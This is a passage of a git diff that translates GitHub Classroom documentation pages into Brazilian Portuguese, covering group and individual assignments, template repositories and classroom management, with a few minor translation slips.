+permissions: 'Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/create-group-assignments
   - /education/manage-coursework-with-github-classroom/create-a-group-assignment
 ---
-## About group assignments
 
-{% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers.
+## Sobre atribuições em grupo
 
-When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment.
+{% data reusables.classroom.assignments-group-definition %} Os alunos podem trabalhar juntos em uma tarefa em grupo em um repositório compartilhado, como uma equipe de desenvolvedores profissionais.
+
+Quando um aluno aceita uma atividade em grupo, o aluno poderá criar uma nova equipe ou juntar-se a uma equipe existente. {% data variables.product.prodname_classroom %} salva as equipes para uma atividade como um conjunto. Você pode nomear o conjunto de equipes para uma atividade específica ao criar a tarefa e você pode reutilizar esse conjunto de equipes para uma atividade futura.
 
 {% data reusables.classroom.classroom-creates-group-repositories %}
 
 {% data reusables.classroom.about-assignments %}
 
-You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+Você pode decidir quantas equipes uma atividade pode ter e quantos integrantes cada equipe pode ter. Cada equipe que um estudante cria para uma atividade é uma equipe dentro da sua organização em {% data variables.product.product_name %}. A visibilidade da equipe é secreta. Equipes criadas em {% data variables.product.product_name %} não aparecerão em {% data variables.product.prodname_classroom %}. Para obter mais informações, consulte "[Sobre equipes](/organizations/organizing-members-into-teams/about-teams)".
 
-For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+Para uma demonstração de vídeo da criação de uma atividade de grupo, consulte "[Fundamentos de configuração de {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)".
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating an assignment
+## Criar uma atividade
 
 {% data reusables.classroom.assignments-guide-create-the-assignment %}
 
-## Setting up the basics for an assignment
+## Configurar os fundamentos para uma atividade
 
-Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories.
+Nomeie sua atividade, decida se deseja atribuir um prazo, defina equipes e escolha a visibilidade dos repositórios de atividades.
 
-- [Naming an assignment](#naming-an-assignment)
-- [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-- [Choosing an assignment type](#choosing-an-assignment-type)
-- [Defining teams for an assignment](#defining-teams-for-an-assignment)
-- [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+- [Nomear uma atividade](#naming-an-assignment)
+- [Atribuir um prazo para uma atividade](#assigning-a-deadline-for-an-assignment)
+- [Escolher um tipo de atividade](#choosing-an-assignment-type)
+- [Definir equipes para uma atividade](#defining-teams-for-an-assignment)
+- [Escolher uma visibilidade para repositórios de atividades](#choosing-a-visibility-for-assignment-repositories)
 
-### Naming an assignment
+### Nomear uma atividade
 
-For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`.
+Para uma atividade em grupo, {% data variables.product.prodname_classroom %} nomeia repositórios pelo prefixo do repositório e pelo nome da equipe. Por padrão, o prefixo do repositório é o título da atividade. Por exemplo, se você nomear uma atividade "atividade-1" e o nome da equipe em {% data variables.product.product_name %} for "aluno-equipe", o nome do repositório de atividade para os integrantes da equipe será a `atividade-1-aluno-equipe`.
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### Atribuir um prazo para uma atividade
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing an assignment type
+### Escolher um tipo de atividade
 
-Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)."
+Em "Atividade individual ou em grupo", selecione o menu suspenso e, em seguida, clique em **Atividade em grupo**. Você não pode alterar o tipo de atividade depois de criá-la. Se você preferir criar uma atividade individual, consulte "[Criar uma atividade individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)".
 
-### Defining teams for an assignment
+### Definir equipes para uma atividade
 
-If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams.
+Se você já criou uma atividade em grupo para a sala de aula, você pode reutilizar um conjunto de equipes para a nova atividade. Para criar um novo conjunto com as equipes que seus alunos criam para a atividade, digite o nome do conjunto. Opcionalmente, digite o número máximo de integrantes e equipes totais.
 
 {% tip %}
 
-**Tips**:
+**Dicas**:
 
-- We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course.
+- Recomendamos incluir detalhes sobre o conjunto de equipes no nome para o conjunto. Por exemplo, se você desejar usar o conjunto de equipes para uma atividade, nomeie o conjunto após a atividade. Se você desejar reutilizar o conjunto ao longo de um semestre ou curso, nomeie o conjunto após o semestre ou curso.
 
-- If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members.
+- Se desejar atribuir aos alunos uma equipe específica, dê a seus alunos um nome para a equipe e forneça uma lista de integrantes.
 
 {% endtip %}
 
-![Parameters for the teams participating in a group assignment](/assets/images/help/classroom/assignments-define-teams.png)
+![Parâmetros para as equipes que participam de uma atividade em grupo](/assets/images/help/classroom/assignments-define-teams.png)
 
-### Choosing a visibility for assignment repositories
+### Escolher uma visibilidade para repositórios de atividades
 
 {% data reusables.classroom.assignments-guide-choose-visibility %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-basics %}
 
-## Adding starter code and configuring a development environment
+## Adicionar código inicial e configurar um ambiente de desenvolvimento
 
 {% data reusables.classroom.assignments-guide-intro-for-environment %}
 
-- [Choosing a template repository](#choosing-a-template-repository)
-- [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide)
+- [Escolher um repositório de modelo](#choosing-a-template-repository)
+- [Escolhendo um ambiente integrado de desenvolvimento (IDE)](#choosing-an-integrated-development-environment-ide)
 
-### Choosing a template repository
+### Escolher um repositório de modelo
 
-By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} 
+Por padrão, uma nova atividade criará um repositório vazio para cada equipe criada por um aluno. {% data reusables.classroom.you-can-choose-a-template-repository %}
 
 {% data reusables.classroom.assignments-guide-choose-template-repository %}
 
-### Choosing an integrated development environment (IDE)
+### Escolhendo um ambiente integrado de desenvolvimento (IDE)
 
-{% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
+{% data reusables.classroom.about-online-ides %} Para obter mais informações, consulte "[Integrar {% data variables.product.prodname_classroom %} com um IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
 
 {% data reusables.classroom.assignments-guide-choose-an-online-ide %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %}
 
-## Providing feedback
+## Fornecer feedback
 
-Optionally, you can automatically grade assignments and create a space for discussing each submission with the team.
+Opcionalmente, você pode classificar automaticamente as atividades e criar um espaço para discutir cada envio com a equipe.
 
-- [Testing assignments automatically](#testing-assignments-automatically)
-- [Creating a pull request for feedback](#creating-a-pull-request-for-feedback)
+- [Testar recomendações automaticamente](#testing-assignments-automatically)
+- [Criar um pull request para feedback](#creating-a-pull-request-for-feedback)
 
-### Testing assignments automatically
+### Testar recomendações automaticamente
 
 {% data reusables.classroom.assignments-guide-using-autograding %}
 
-### Creating a pull request for feedback
+### Criar um pull request para feedback
 
 {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
 
@@ -116,26 +117,36 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-click-create-assignment-button %}
 
-## Inviting students to an assignment
+## Convidar alunos para uma atividade
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+Você pode ver as equipes que estão trabalhando ou que enviaram uma atividade na aba **Equipes** para a atividade. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
+  <img alt="Atividade em grupo" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png">
 </div>
 
-## Next steps
+## Monitorando o progresso dos alunos
+A página de visão geral de atividades exibe informações sobre a aceitação da sua atividade e o progresso da equipe. Você pode ter diferentes informações resumidas, com base nas configurações das suas atividades.
 
-- After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," "[Using Git](/github/getting-started-with-github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}.
+- **Total de equipes**: O número de equipes que foram criadas.
+- **Alunos cadastrados**: O número de alunos na lista da sala de aula.
+- **Alunos fora de uma equipe**: O número de alunos na lista de participantes da sala de aula que ainda não se juntaram a uma equipe.
+-  **Equipes aceitas**: O número de equipes que aceitaram esta atividade.
+-  **Envios das atividaeds**: O número de equipes que enviaram a atividade. O envio é acionado no prazo da atividade.
+-  **Equipes em teste**: O número de equipes que estão atualmente passando os testes de autoavaliação para esta atividade.
 
-- When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)."
+## Próximas etapas
 
-- You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)."
+- Após criar a atividade e seus alunos formarem equipes, os integrantes da equipe poderão começar a trabalhar nas atividades usando os recursos do Git e do {% data variables.product.product_name %}. Os alunos podem clonar o repositório, realizar commits de push, gerenciar branches, criar e revisar pull requests, resolver conflitos de merge e discutir alterações com problemas. Tanto você como a equipe podem revisar o histórico de commit do repositório. Para obter mais informações, consulte "[Primeiros passos com {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[repositórios](/repositories)," "[Usando o Git](/github/getting-started-with-github/using-git), e "[Colaborando com problemas e pull requests](/github/collaborating-with-issues-and-pull-requests)e o curso grátis em [Gerenciando conflitos de merge](https://lab.github.com/githubtraining/managing-merge-conflicts) de {% data variables.product.prodname_learning %}.
 
-## Further reading
+- Quando uma equipe termina uma atividade, você poderá revisar os arquivos no repositório, ou você poderá revisar o histórico e as visualizações do repositório para entender melhor como a equipe colaborou. Para obter mais informações, consulte "[Visualizar dados do repositório com gráficos](/github/visualizing-repository-data-with-graphs)".
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
-- [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community
+- Você pode fornecer comentários para uma atividade, comentando em commits individuais ou em linhas em um pull request. Para obter mais informações, consulte "[Comentando em um pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" e "[Abrir um problema a partir do código](/github/managing-your-work-on-github/opening-an-issue-from-code)". Para obter mais informações sobre a criação de respostas salvas para fornecer feedback sobre erros comuns, consulte "[Sobre respostas salvas](/github/writing-on-github/about-saved-replies)".
+
+## Leia mais
+
+- "[Use {% data variables.product.prodname_dotcom %} na sua sala de aula e pesquisa](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
+- "[Conecte um sistema de gerenciamento de aprendizagem para {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- [Usar Equipes Existentes atividades em grupo?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) na comunidade de {% data variables.product.prodname_education %}
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
index 6e386bbbed..cfdadc34b9 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md
@@ -1,19 +1,20 @@
 ---
-title: Create an assignment from a template repository
-intro: 'You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students.'
-permissions: Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}
+title: Criar uma atividade a partir de um repositório de modelo
+intro: 'Você pode criar uma atividade a partir de um repositório de modelo para fornecer código inicial, documentação e outros recursos aos seus alunos.'
+permissions: 'Organization owners who are admins for a classroom can create an assignment from a template repository that is public or owned by the organization. {% data reusables.classroom.classroom-admins-link %}'
 versions:
   fpt: '*'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments
   - /education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository
-shortTitle: Template repository
+shortTitle: Repositório de modelo
 ---
-You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)."
 
-To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public.
+Você pode utilizar um repositório de modelo em {% data variables.product.product_name %} como código inicial para uma atividade em {% data variables.product.prodname_classroom %}. Seu repositório modelo pode conter código-padrão, documentação e outros recursos para seus alunos. Para obter mais informações, consulte "[Criar um repositório de modelos](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)".
 
-## Further reading
+Para usar o repositório de modelo para a sua atribuição, o repositório de modelo deve pertencer à sua organização, ou a visibilidade do repositório de modelos deverá ser pública.
 
-- "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)"
-- "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)"
+## Leia mais
+
+- "[Criar uma atividade individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)"
+- "[Criar uma atividade em grupo](/education/manage-coursework-with-github-classroom/create-a-group-assignment)"
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
index 085d2558c4..f8330cda78 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md
@@ -1,15 +1,16 @@
 ---
-title: Create an individual assignment
-intro: You can create an assignment for students in your course to complete individually.
+title: Criar um trabalho individual
+intro: Você pode criar uma atividade para os alunos do seu curso para ser concluída individualmente.
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can create and manage individual assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment
   - /education/manage-coursework-with-github-classroom/create-an-individual-assignment
-shortTitle: Individual assignment
+shortTitle: Atividade individual
 ---
-## About individual assignments
+
+## Sobre atividades individuais
 
 {% data reusables.classroom.assignments-individual-definition %}
 
@@ -17,78 +18,78 @@ shortTitle: Individual assignment
 
 {% data reusables.classroom.about-assignments %}
 
-For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+Para uma demonstração vídeo da criação de uma atividade individual, consulte "[Fundamentos da configuração de {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)".
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating an assignment
+## Criar uma atividade
 
 {% data reusables.classroom.assignments-guide-create-the-assignment %}
 
-## Setting up the basics for an assignment
+## Configurar os fundamentos para uma atividade
 
-Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
+Nomeie sua atividade, decida se deseja atribuir um prazo e escolha a visibilidade dos repositórios de atividades.
 
-- [Naming an assignment](#naming-an-assignment)
-- [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-- [Choosing an assignment type](#choosing-an-assignment-type)
-- [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
+- [Nomear uma atividade](#naming-an-assignment)
+- [Atribuir um prazo para uma atividade](#assigning-a-deadline-for-an-assignment)
+- [Escolher um tipo de atividade](#choosing-an-assignment-type)
+- [Escolher uma visibilidade para repositórios de atividades](#choosing-a-visibility-for-assignment-repositories)
 
-### Naming an assignment
+### Nomear uma atividade
 
-For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+Para uma atividade individual, {% data variables.product.prodname_classroom %} nomeia os repositórios pelo prefixo do repositório e pelo nome de usuário de {% data variables.product.product_name %} do aluno. Por padrão, o prefixo do repositório é o título da atividade. Por exemplo, se você nomear uma atividade como "assignment-1" e o nome de usuário do aluno em {% data variables.product.product_name %} for @octocat, o nome do repositório de atividade para @octocat será `assignment-1-octocat`.
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### Atribuir um prazo para uma atividade
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing an assignment type
+### Escolher um tipo de atividade
 
-Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+Em "Tarefa individual ou de grupo", selecione o menu suspenso e clique em **Tarefa individual**. Você não pode alterar o tipo de atividade depois de criá-la. Se você preferir criar uma atividade em grupo, consulte "[Criar uma atividade em grupo](/education/manage-coursework-with-github-classroom/create-a-group-assignment)".
 
-### Choosing a visibility for assignment repositories
+### Escolher uma visibilidade para repositórios de atividades
 
 {% data reusables.classroom.assignments-guide-choose-visibility %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-basics %}
 
-## Adding starter code and configuring a development environment
+## Adicionar código inicial e configurar um ambiente de desenvolvimento
 
 {% data reusables.classroom.assignments-guide-intro-for-environment %}
 
-- [Choosing a template repository](#choosing-a-template-repository)
-- [Choosing an integrated development environment (IDE)](#choosing-an-integrated-development-environment-ide)
+- [Escolher um repositório de modelo](#choosing-a-template-repository)
+- [Escolhendo um ambiente integrado de desenvolvimento (IDE)](#choosing-an-integrated-development-environment-ide)
 
-### Choosing a template repository
+### Escolher um repositório de modelo
 
-By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %}
+Por padrão, uma nova atividade criará um repositório vazio para cada aluno na lista da sala de aula. {% data reusables.classroom.you-can-choose-a-template-repository %}
 
 {% data reusables.classroom.assignments-guide-choose-template-repository %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %}
 
-### Choosing an integrated development environment (IDE)
+### Escolhendo um ambiente integrado de desenvolvimento (IDE)
 
-{% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
+{% data reusables.classroom.about-online-ides %} Para obter mais informações, consulte "[Integrar {% data variables.product.prodname_classroom %} com um IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
 
 {% data reusables.classroom.assignments-guide-choose-an-online-ide %}
 
-## Providing feedback for an assignment
+## Fornecer feedback para uma atividade
 
-Optionally, you can automatically grade assignments and create a space for discussing each submission with the student.
+Opcionalmente, você pode classificar automaticamente as atividades e criar um espaço para discutir cada envio com o aluno.
 
-- [Testing assignments automatically](#testing-assignments-automatically)
-- [Creating a pull request for feedback](#creating-a-pull-request-for-feedback)
+- [Testar recomendações automaticamente](#testing-assignments-automatically)
+- [Criar um pull request para feedback](#creating-a-pull-request-for-feedback)
 
-### Testing assignments automatically
+### Testar recomendações automaticamente
 
 {% data reusables.classroom.assignments-guide-using-autograding %}
 
-### Creating a pull request for feedback
+### Criar um pull request para feedback
 
 {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
 
@@ -96,25 +97,34 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-click-create-assignment-button %}
 
-## Inviting students to an assignment
+## Convidar alunos para uma atividade
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+Você pode ver se um aluno entrou na sala de aula e aceitou ou enviou uma atividade na aba**Lista da sala de aula** para a atividade. Você também pode vincular os apelidos dos alunos de {% data variables.product.prodname_dotcom %} ao seu identificador de lista de participantes e vice-versa nesta aba. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+  <img alt="Atividade individual" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
-## Next steps
+## Monitorando o progresso dos alunos
+A página de visão geral do trabalho fornece uma visão geral das suas aceitações da atividade e do progresso do aluno. Você pode ter diferentes informações resumidas, com base nas configurações das suas atividades.
 
-- Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)."
+- **Alunos cadastrados**: O número de alunos na lista da sala de aula.
+- **Adicionou os alunos**: O número de contas de {% data variables.product.prodname_dotcom %} que aceitaram a atividade e não estão associadas a um identificador da lista de participação.
+-  **Alunos aceitos**: O número de contas que aceitaram esta atividade.
+-  **Envios das atividades**: O número de alunos que enviaram a atividade. O envio é acionado no prazo da atividade.
+-  **Passando em aprovação**: O número de alunos atualmente em testes de avaliação automática para essa atividade.
 
-- When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)."
+## Próximas etapas
 
-- You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)."
+- Depois de criar a atividade, os alunos poderão começar a trabalhar na atividade usando os recursos do Git e do {% data variables.product.product_name %}. Os alunos podem clonar o repositório, realizar commits de push, gerenciar branches, criar e revisar pull requests, resolver conflitos de merge e discutir alterações com problemas. Você e o aluno podem revisar o histórico do commit do repositório. Para obter mais informações, consulte "[Começando com {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github), "[Repositórios](/repositories)" e "[Colaborando com problemas e pull requests](/github/collaborating-with-issues-and-pull-requests)".
 
-## Further reading
+- Quando um aluno concluir uma atividade, você poderá revisar os arquivos no repositório ou você poderá revisar o histórico e as visualizações do repositório para entender melhor o trabalho do aluno. Para obter mais informações, consulte "[Visualizar dados do repositório com gráficos](/github/visualizing-repository-data-with-graphs)".
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- Você pode fornecer comentários para uma atividade, comentando em commits individuais ou em linhas em um pull request. Para obter mais informações, consulte "[Comentando em um pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" e "[Abrir um problema a partir do código](/github/managing-your-work-on-github/opening-an-issue-from-code)". Para obter mais informações sobre a criação de respostas salvas para fornecer feedback sobre erros comuns, consulte "[Sobre respostas salvas](/github/writing-on-github/about-saved-replies)".
+
+## Leia mais
+
+- "[Use {% data variables.product.prodname_dotcom %} na sua sala de aula e pesquisa](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
+- "[Conecte um sistema de gerenciamento de aprendizagem para {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
index 9d01bfbd28..e63834167b 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
@@ -1,7 +1,7 @@
 ---
-title: Manage classrooms
-intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.'
-permissions: Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}
+title: Gerenciar salas de aula
+intro: 'Você pode criar e gerenciar uma sala de aula para cada curso que você der usando {% data variables.product.prodname_classroom %}.'
+permissions: 'Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}'
 versions:
   fpt: '*'
 redirect_from:
@@ -9,116 +9,101 @@ redirect_from:
   - /education/manage-coursework-with-github-classroom/manage-classrooms
 ---
 
-## About classrooms
+## Sobre as salas de aula
 
 {% data reusables.classroom.about-classrooms %}
 
-![Classroom](/assets/images/help/classroom/classroom-hero.png)
+![Sala de aula](/assets/images/help/classroom/classroom-hero.png)
 
-## About management of classrooms
+## Sobre o gerenciamento de salas de aula
 
-{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms.
+{% data variables.product.prodname_classroom %} usa contas da organização em {% data variables.product.product_name %} para gerenciar permissões, administração e segurança para cada sala de aula que você criar. Cada organização pode ter várias salas de aula.
 
-After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}.
+Depois de criar uma sala de aula, {% data variables.product.prodname_classroom %} solicitará que você convide assistentes de ensino (ETI) e administradores para a sala de aula. Cada sala de aula pode ter um ou mais administradores. Os administradores podem ser professores, TAs ou qualquer outro administrador do curso o qual que você gostaria que tivesse controle das suas salas de aula em {% data variables.product.prodname_classroom %}.
 
-Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
